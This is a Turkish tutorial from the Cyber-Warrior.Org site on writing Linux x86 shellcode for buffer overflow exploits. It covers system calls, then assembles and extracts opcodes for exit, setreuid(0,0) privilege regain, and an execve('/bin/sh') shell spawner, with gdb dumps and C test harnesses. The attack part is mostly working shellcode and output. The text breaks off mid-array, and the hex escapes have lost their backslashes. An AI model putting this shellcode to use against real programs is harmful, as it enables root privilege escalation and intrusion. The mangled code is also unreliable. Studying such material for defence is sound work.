Root > Documents > Web Güvenlik Açıkları > Buffer overflows
Cyber-Warrior.Org \ Doküman \ Web Güvenlik Açıkları > Buffer overflows
Madde
  Yazar : iP Arsivinden
  Date : 23.11.2004 16:16:30
 
# Buffer overflows
 

 

Buffer Overflows olayinda Olup biteni anlamak icin oncekini mutlaka okumalisiniz. Dokumani anlamak icin yuzeysel C, assembly bilmeniz gerekli. Sanal bellek, bir prosesin bellekte nasil yerlestigi ve benzeri isletim sistemi kavramlari bilgileri cok yardimci olur. Ayrica setuid programlarin ne olduklari ve nasil calistiklari gibi temel Unix bilgileri dokumani anlamaniz icin sart. Gdb ve gcc ile daha onceden calismis olmaniz teknik olarak isinizi kolaylastiracaktir. SHELLCODE Nedir?Bir onceki dokumanda, israrla programin kontrolunu elimize aldiktansonra istedigimiz bir kodu calistirabildigimizi soylemistim. Hatirlayalim: "Biz strcpy()yi cagirdigimizda buyuk_array, foo1 arrayinin baslangic adresi olan EBP-16dan baslayarak, yukari dogru butun stacki A ile dolduruyor. Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese calismasini istedigimiz baska bir program parcaciginin adresini koysak, fonksiyon geri dondugunde o program parcaciginin adresine gidiP, ordaki instructionlari calistirmaya baslamaz mi? Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod calismaya baslayacak ve biz shelle dusecegiz." Yine diger yazidan hatirlarsaniz, CPUnun calistiracagi bu instructionlar,hafizada belirli bir kesimde bulunuyorlar, ve CPU da EiPnin gosterdigi hafizabolmesindeki komutlari sirayla teker teker calistiriyor. Basitce yaptigimizcalismasini istedigimiz komutlari iceren machine instructionlari kontrolumuzaltindaki hafiza bolmesine yerlestirmek. Iste istedigimiz komutlari iceren bu makina komutlarina shellcode diyoruz.Bir exploitin icinde kullanmak icin de, bu komutlarin hafizaya yerlestirebile- cegimiz sekilde hexadecimal hallerini art arda diziP, bir karakter arraye koyuyoruz. Bu komutlari birkac sekilde yazmak mumkun: 1. Hex Codela direkt yazmak 2. Assembly kodunu yaziP, hex kodunu (opcode) cikarmak 3. C kodunu yaziP, assembly ve sonra da hex kodunu cikarmak Bu dokumanda Once ucuncu yontemi kullaniP basitce /bin/sh calistiran birshellcode olusturmaya calisacagiz, sonra da ikinci yontemden giderek bir iki systemcalli calistiran bir shellcode yazacagiz. Shellcode ile calistirmak isteyecegimiz kod cogu zaman bir sistem programinin calistirilsi olacaktir. Ornegin, exploitle kontrolunu ele aldigimiz programinbuyuk ihtimalle yeni bir shell spawn etmesini, eger remote calisacaksa, bir sockete baglandiktan sonra o sockete bir shell bind etmesini isteyecegiz. Bi program calistirmak demek, kerneldan "yeni process yaratiP calistirma" servisini cagirmak demektir (execve). Iste bu tiP kernel servislerini istemek icin once user modedan kernel modea gecmemiz gerekmektedir. Bu islemler, "kernel giris kapisi" olarak tanimlayabilecegimiz system calllar (bundan sonra sistem cagrisi olarak tanimlayacagiz) ile yapilabilmektedir. Bu durumda shellcodedan once sistem cagrilarina daha yakindan gozatmakta fayda var. SYSTEM CALLS (SISTEM CAGRILARI) Kernel modea girisler, onu olusturan olayin niteligine gore uce ayrilirlar: 1. Hardware Interrupt 2. Hardware trap 3. Software initiated trap Hardware Interruptlari adindan da anlasilacagi uzre, donanimsal ihtiyaclardan dolayi olusturulurlar. Mesela islem bekleyen bir Girdi/Cikti aygiti ya da sistemin saati bu tiP kesmelere neden olabilirler. Bunlar asenkrondurlar ve o anda calismakta olan programla ilgili olmayabilirler. Hardware Traplar, senkron veya asenkron olabilirler ve o anda calisan process ile ilgilidirler. Bunlara ornek olarak, programda olusan sifira bolme hatasi (division by zero) verilebilir. Software Initiated trapler tamamen yazilim bazlidir, ve sistem tarafindan process rescheduling veya network processing gibi olaylari schedule etmek icin kullanilirlar. Sistem cagrilari da software initiated traplarin ozel bir seklidir. Sistem cagrisini olusturmak icin kullanilan makina komutu, kernel tarafindan ozel olarak process edilen bir hardware trap olusturmaktadir, kisaca... System calli nitelendiren bir interrupt oldugunda, kernel, bu interrupti process etmenin overheadini en aza indirmekle sorumludur. System call olustugunda, kernelin system call handleri system calla girilen parametre- lerin dogru userspace adresler oldugunu dogrulamak, bu parametreleri kullanicialanindan kernel alanina kopyalamak; ve de sistem cagrisini isleyecek bir kernel rutinini cagirmak durumundadir. Linux, IA32 mimarisinde sistem cagrilarini karsilamak icin iki metod kullanir: 1. lcall7/lcall27 gates 2. INT 0x80 software interrupt. Asil Linux uygulamalari INT 0x80i kullanirken, diger bazi UNIX vendorlarininbinaryleri de lcall7 mekanizmasini kullanir. Isletim sisteminin boot prosedulerinden birisi de, Interrupt DeScriptor Table(IDT)yi olusturmaktir. arch/i386/kernel/traps.c icindeki trap_init() fonksiyonu, IDT vektorunun 0x80 (128). elemaninin arch/i386/kernel/entry.S dekisystem_call entrye isaret etmesini saglar. Boylece bir INT 0x80,komutu calistiginda onu karsilayan kernel fonksiyonu calisacaktir. Sistem cagrisi istegini, cagri anindaki CPU registerlarinin durumu belirler. EAX registerinin alacagi deger, hangi sistem cagirisinin calistirilacagini tespit eder. Diger registerlar, EAXin aldigi deger gore parametrik degertasirlar. Ornek vermek gerekirse, bir processden _exit sistem call cagrilmis olsun.Isletim sistemi INT 0x80 komutu ile kernel modea gecmeden once EAX registerinisys_exiti tanimlayan 0x1 yapar, _exite girilen integer parametresini (exit status)de EBX register ina yazar ve INT 0x80 ile kernel modea gecer. Kernelda bu trapin sonucunda IDTten 0x80i karsilayacak rutini bulur ve calistirir. O fonksiyon da, EAXdaki degere gore gerekli system call handlericalistirir. Bu durumda EAX 0x1 olduguna gore, kernel/exit.c deki sys_exit rutini calistirilir. Bu rutin de EBXdeki degere gore islemini yapar, ve bundansonra da ret_from_syscall rutinleri calismaya baslar... Evet, son derece yuzeysel olarak system cagri mantigini ve nasil calistiginianlattiktan sonra isterseniz simdi exit(0)i assemblerda yazmaya calisalim. Sonra da assembler kodunun karsiligini hex opcodelari bulup, bir stringe diziP shellcode haline getirecegiz.

EXIT SHELLCODE Once, C kodunu yaziP disassemble edelim ve olayi gozlerimizle gorelim.

$ export CFLAGS=-g

----------------------- c-exit.c ------------------------------

#include main(){ exit(0);}

----------------------- c-exit.c ------------------------------

$ make c-exitcc -g c-exit.c -o c-exit$ gdb ./c-exit(gdb) b mainBreakpoint 1 at 0x80483b7: file c-exit.c, line 5.(gdb) rStarting program: /home/balaban/sc/./c-exitwarning: Unable to find dynamic linker breakpoint function.GDB will be unable to debug shared library initializersand track explicitly loaded dynamic code. Breakpoint 1, main () at c-exit.c:55 exit(128);(gdb) disas _exitDump of assembler code for function _exit:0x400a5ee0 : mov %ebx,%edx0x400a5ee2 : mov 0x4(%esp,1),%ebx0x400a5ee6 : mov $0x1,%eax0x400a5eeb : int $0x80--kesildi--- End of assembler dump.(gdb) Evet yukarida goruldugu gibi, standart library rutini _exit,EAXi sys_exitin karsiligi olan 0x1 yapiP, parametreyi(stackde) de EBXekoyuyor. Yani, exit(0) icin gerekli assembler instructionlari: XOR %EBX, %EBX /* exitin donus kodu, EBXi sifirliyoruz.*/ MOV $0x1, %EAX /* sys_exit */ INT 0x80 /* SW Interrupti generate et. */ Linux System Call tablein kullanici dostu bir hali asagidaki adreste bulunabilir: http://world.std.com/~slanning/asm/syscall_list.html Burada sys_exit asagidaki sekilde tarif edilmis: %eax Name Source %ebx %ecx %edx %esx %edi1 sys_exit kernel/exit.c int - - - - Sadece EAX ve EBX kullanilmis, diger registerlar bir mana ifade etmiyor... Simdi bunu inline assembly kodu olarak girelim:

----------------------- a-exit.c ------------------------------

main(){ __asm__(" xorl %ebx, %ebx mov $0x1, %eax int $0x80 "); }

----------------------- a-exit.c ------------------------------

strace komutu ile program suresince calisan syscalllari izleyebiliyoruz: $ strace ./a-exitexecve("./a-exit", ["./a-exit"], [/* 32 vars */]) = 0brk(0) = 0x80494d8 --- kesildi --- _exit(0) = ?$ Yukarida gordugunuz gibi en son _exit(0) calismis... Simdi de baslamisken, baska bir syscalla bakalim: setreuid(0, 0) Bazi vulnerable programlar, biz daha onceden executionu ele almadan privilegelarini drop ediyorlar, direk shelli spawn ettigimiz zaman da root shelle dusmuyoruz.Onun icin bu gibi durumlarda asil shellcodeun onune bunun gibi bir kod ekleyiPonce root privilegelari tekrar ele aliyoruz. Yukarida verilen URIden setreuid(0, 0) icin registerlerin hangi durumda olmasi gerektigine bakalim: %eax Name Source %ebx %ecx %edx %esx %edi70 sys_setreuid kernel/sys.c uid_t uid_t - - - Yapacagimiz ayni. EAXa sys_setreuidin degeri 70i, EBXe istedigimiz real uidi, ECXe de istedigimiz effective uidi yaziP INT 0x80 yapacagiz

. ----------------------- a-setreuid.c ------------------------------

main(){ __asm__(" xorl %ebx, %ebx xorl %ecx, %ecx mov $0x46, %eax int $0x80 xorl %ebx, %ebx mov $0x1, %eax int $0x80 "); }

 ----------------------- a-setreuid.c ------------------------------

xorl %ebx, %ebx EBX registerini sifir yapiyoruz. Bir sayiyi kendisi ile XORlarsaniz o sayiyi sifir yapmis olursunuz. EBX real uidin ne olacagini belirliyor. xorl %ecx, %ecx Ayni sekilde ECX registerini da sifir yapiyoruz. ECX effective uidin ne olacagini belirliyor. mov $0x46, %eax EAX registerina 0x46yi koyuyoruz. Bu setreuidin syscall tabledaki degeri. int $0x80 Interrupti trigger ediyoruz. Bundan sonraki diger kisimlar da exit(0) icin gerekli olan assembler komutlari. $ make a-setreuidcc a-setreuid.c -o a-setreuid$ su# strace ./a-setreuidexecve("./a-setreuid", ["./a-setreuid"], [/* 31 vars */]) = 0brk(0) = 0x80494e4 ---- kesildi ---- setreuid(0, 0) = 0_exit(0) = ?# Gordugunuz gibi once setreuid(0, 0), sonra da _exit(0) calismis. Simdi de yazdigimiz kodun hexadecimal opcode olarak karsiliginibulup, bunlari bir dizi seklinde yazalim: GDBde x/bx komutu belirti-gimiz hafiza bolmesinden bir byte uniti hexadecimal olarak bize gosterir. Bizim de istedigimiz tam olarak bu. Daha detayli bilgi icin: http://www.gnu.org/manual/gdb-4.17/html_chapter/gdb_9.html#SEC56 $ gdb ./a-setreuid(gdb) disas mainDump of assembler code for function main:0x8048380 : push %ebp0x8048381 : mov %esp,%ebp0x8048383 : xor %ebx,%ebx0x8048385 : xor %ecx,%ecx0x8048387 : mov $0x46,%eax0x804838c : int $0x800x804838e : xor %ebx,%ebx0x8048390 : mov $0x1,%eax0x8048395 : int $0x800x8048397 : leave0x8048398 : retEnd of assembler dump.(gdb) x/bx main+30x8048383 : 0x31(gdb) x/bx main+40x8048384 : 0xdb(gdb) x/bx main+50x8048385 : 0x31(gdb) x/bx main+60x8048386 : 0xc9(gdb) x/bx main+70x8048387 : 0xb8(gdb) x/bx main+80x8048388 : 0x46(gdb) x/bx main+90x8048389 : 0x00(gdb) x/bx main+100x804838a : 0x00(gdb) x/bx main+110x804838b : 0x00(gdb) x/bx main+120x804838c : 0xcd(gdb) x/bx main+130x804838d : 0x80(gdb) x/bx main+140x804838e : 0x31(gdb) x/bx main+150x804838f : 0xdb(gdb) x/bx main+160x8048390 : 0xb8(gdb) x/bx main+170x8048391 : 0x01(gdb) x/bx main+180x8048392 : 0x00(gdb) x/bx main+190x8048393 : 0x00(gdb) x/bx main+200x8048394 : 0x00(gdb) x/bx main+210x8048395 : 0xcd(gdb) x/bx main+220x8048396 : 0x80(gdb)

Simdi de shellcodeumuzu yazalim:

----------------------- s-setreuid.c ------------------------------

char sc[] = "x31xdb" /* xor %ebx, %ebx */ "x31xc9" /* xor %ecx, %ecx */ "xb8x46x00x00x00" /* mov $0x46, %eax */ "xcdx80" /* int $0x80 */ "x31xdb" /* xor %ebx, %ebx */ "xb8x01x00x00x00" /* mov $0x1, %eax */ "xcdx80"; /* int $0x80 */ main(){ void (*fp) (void); fp = (void *)sc; fp();}

----------------------- s-setreuid.c ------------------------------

$ su# make s-setreuidcc s-setreuid.c -o s-setreuid# strace ./s-setreuidexecve("./s-setreuid", ["./s-setreuid"], [/* 31 vars */]) = 0brk(0) = 0x80494f8 ---- kesildi setreuid(0, 0) = 0_exit(0) = ?# Evet yukarida gordugunuz gibi, ayni etkiyi kendi yazdigimiz shellcodeumuz ilegerceklestirdik. SHELL SPAWN EDEN SHELLCODE Isin tatli tarafi burada aslinda. Simdi de yukarida ogrendikleri- mizi temel alarak shell calistiran bir shellkod yazmaya calisalim. Once yapma- miz gereken execve systelcallunu biraz incelemek. Yukarida verdigim adrese gidin ve ne yapmaniz gerektigini hemen ogrenin: %eax Name Source %ebx %ecx %edx %esx %edi11 sys_execve arch/i386/kernel/process.c struct pt_regs - - - - struct pt_regs kabul ediyor. Eger arch/i386/kernel/process.cye bakacak olursaniz: /* * sys_execve() executes a new program. */asmlinkage int sys_execve(struct pt_regs regs){ int error; char * filename; filename = getname((char *) regs.ebx); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx, &regs); if (error == 0) current->ptrace &= ~PT_DTRACE; putname(filename);out: return error;} execvenin do_execve diye baska bir fonksiyonu cagirdigini goreceksiniz. Bu fonksiyona calistirilacak programin adresini (filename), ECX ve EDX registerlarini da pass ettigini goreceksiniz. Demek ki EBX registerinda calistiraca-gimiz programin full pathinin adresi, yani "/bin/sh"in adresi olmasi gerekiyor: filename = getname((char *) regs.ebx); Simdi diger registerlarin ne ise yaradigini anlamak icin biraz daha izleyelim: fs/exec.cden: int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs) Buradan da, ECX registerinda argv[]nin adresinin olacagini, EDX registerindaenv[]in olacagini anliyoruz. env[] yerine NULL koyabiliriz, ama argv[0] programin ismi olmali. argv[]nin NULL terminated bir array olma zorunlulugun-dan dolayi argv[1] de NULL olacak dolayisiyla. Bu duruma gore, yapmamiz gereken: * hafizada /bin/sh stringi bulundurmak * bunun adresini EBXe yazmak * hafizada /bin/shin ve sifirin adresini barindiran bir array bulundurmak * bu char **in adresini ECXe yazmak * EDXe NULL yazmak * int $0x80 ile interrupti trigger etmek. Simdi yazmaya baslayalim: Once hafiazada NULL terminated "/bin/sh" koyalim. bu stringi stacke push ederek bunu yapabiliriz: "/bin/sh" dizisini sonlandiran NULL bytei (0) EAX registerinda olusturuyoruz: xorl %eax, %eax Sifiri stacke push et: pushl %eax Stacke "//sh" push et: pushl $0x68732f2f Stacke "/bin" push et: pushl $0x6e69622f ESP su anda "/bin/sh" dizisinin adresini gosteriyor. Bizim bu adrese EBXde ihtiyacimiz var. O zaman onu EBXe koyalim: movl %esp, %ebx EAX hala sifir. Bunu da argv[]yi sonlandiran NULL icin kullanabiliriz: pushl %eax Eger /bin/shin adresini de push edersek, ECXe koymamiz gereken argvnin adresiESPde olusacaktir. Boylece hafizada char **argv olusturmus oluyoruz: pushl %ebx Simdi de bunun adresini ECXe yazalim: movl %esp, %ecx EDXde envpnin adresi gerekiyordu. Hatirlarsaniz NULL olabilir demistim: xorl %edx, %edx EAXe syscall tablosunda execvenin karsiligi olan 11i yaz: movb $0xb, %al Interrupyi trigger et ve kernel modea gec: int $0x80

----------------------- sc.c ------------------------------

main(){ __asm__(" xorl %eax,%eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx pushl %eax pushl %ebx movl %esp, %ecx xorl %edx, %edx movb $0xb, %eax int $0x80" );}

----------------------- sc.c ------------------------------

$ make sccc -g sc.c -o sc$ ./scsh-2.04$ Calisti. Simdi de satir satir opcodelarini bulalim, ve shellcodeumuzuolusturalim. $ gdb ./sc(gdb) disas mainDump of assembler code for function main:0x8048380 : push %ebp0x8048381 : mov %esp,%ebp0x8048383 : xor %eax,%eax0x8048385 : push %eax0x8048386 : push $0x68732f2f0x804838b : push $0x6e69622f0x8048390 : mov %esp,%ebx0x8048392 : push %eax0x8048393 : push %ebx0x8048394 : mov %esp,%ecx0x8048396 : xor %edx,%edx0x8048398 : mov $0xb,%al0x804839a : int $0x800x804839c : leave0x804839d : retEnd of assembler dump.(gdb) x/bx main+30x8048383 : 0x31(gdb) x/bx main+40x8048384 : 0xc0(gdb)0x8048385 : 0x50(gdb)0x8048386 : 0x68(gdb)0x8048387 : 0x2f(gdb)0x8048388 : 0x2f(gdb)0x8048389 : 0x73(gdb)0x804838a : 0x68(gdb)0x804838b : 0x68(gdb)0x804838c : 0x2f(gdb)0x804838d : 0x62(gdb)0x804838e : 0x69(gdb)0x804838f : 0x6e(gdb)0x8048390 : 0x89(gdb)0x8048391 : 0xe3(gdb)0x8048392 : 0x50(gdb)0x8048393 : 0x53(gdb)0x8048394 : 0x89(gdb)0x8048395 : 0xe1(gdb)0x8048396 : 0x31(gdb)0x8048397 : 0xd2(gdb)0x8048398 : 0xb0(gdb)0x8048399 : 0x0b(gdb)0x804839a : 0xcd(gdb)0x804839b : 0x80(gdb)

----------------------- sc.c ------------------------------

 char sc[] = "x31xc0" /* xor %eax, %eax */ "x50" /* push %eax */ "x68x2fx2fx73x68" /* push $0x68732f2f

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©